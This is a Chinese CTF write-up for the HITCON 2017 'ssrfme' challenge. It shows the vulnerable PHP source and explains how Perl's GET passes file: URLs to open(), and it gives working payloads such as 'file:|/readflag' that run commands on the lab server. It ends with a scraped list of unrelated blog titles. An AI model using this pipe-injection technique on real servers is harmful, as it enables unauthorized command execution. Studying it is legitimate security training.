hitcon_2017_ssrfme

进入环境给出源码

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里GET一开始确实不知道有什么用,以为是get传参,但是想想又不明白,根据题解的意思应该是perl中的——一种语言

根据题解,GET应该是可以读文件的,那我在kali中试一试

创建一个flag文件并读取

echo flag{} > flag
GET ./flag

读取根目录

代码一开始创建了一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip

使用上面方法我们就可以在靶机里找flag了,一般flag在根目录下,payload

http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/?url=/&filename=233
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/233

有flag和readflag但是flag读不到,多半是没有权限,只能通过readflag来实现了

GET底层实现使用的是open函数,open函数可以执行命令,我们可以通过GET来执行命令

1、open命令执行(|没搞明白)

open(FD,'|id')
print <FD>

而perl里的GET函数底层就是调用了open处理,如下84与132行

file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new

当GET使用file协议的时候就会调用到perl的open函数

发现了这一点我们就可以构造payload了

?url=&filename=|/readflag
?url=file:|/readflag&filename=abc
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/abc

这样就能获得flag

最新文章

  1. Jquery的$(selector).each()和$.each()原理和区别
  2. MMORPG大型游戏设计与开发(服务器 AI 概述)
  3. 【ZeroClipboard is not defined】的解决方法
  4. 开着idea,死机了,关机重启。重启之后,重新打开idea报错java.lang.AssertionError:upexpected content storage modification
  5. jq 中each的用法
  6. linux中转换编码
  7. libev源代码浅析
  8. 百度云语音识别,Audio2Txt(c#)
  9. 【原】从零开始改造淘淘商城(引入dubbo解决项目耦合)02
  10. 如何在python脚本开发做code review
  11. centos tree 命令
  12. react-01
  13. UESTC - 1999 也许这是唯一能阻止乐爷AK的方法( Just for Fun )(回文树)
  14. 2018年总结&amp;2019年计划
  15. mint-ui是什么?怎么使用?说出至少三个组件使用方法?
  16. Python正则表达式使用
  17. topshelf 开发windows 服务资料
  18. [转]Spring Boot应用的后台运行配置
  19. 关于Gson无法将匿名类转化为json字符串的问题
  20. 原创:微信小程序调用【统一下单】、【支付】、【支付回调】api并处理请求

热门文章

  1. C# 题目
  2. MySQL 学习笔记(一)MySQL 事务的ACID特性
  3. 【ASP.NET Core】绑定到 CancellationToken 对象
  4. linux中jupyter notebook中切换虚拟环境
  5. 矩池云上nvidia opencl安装及测试教程
  6. tp5三级联动的实现
  7. 『现学现忘』Docker常用命令 — 21、容器常用命令(三)
  8. 七天接手react项目 —— state&amp;事件处理&amp;ref
  9. 串和KMP算法
  10. CVE-2015-3337(任意文件读取)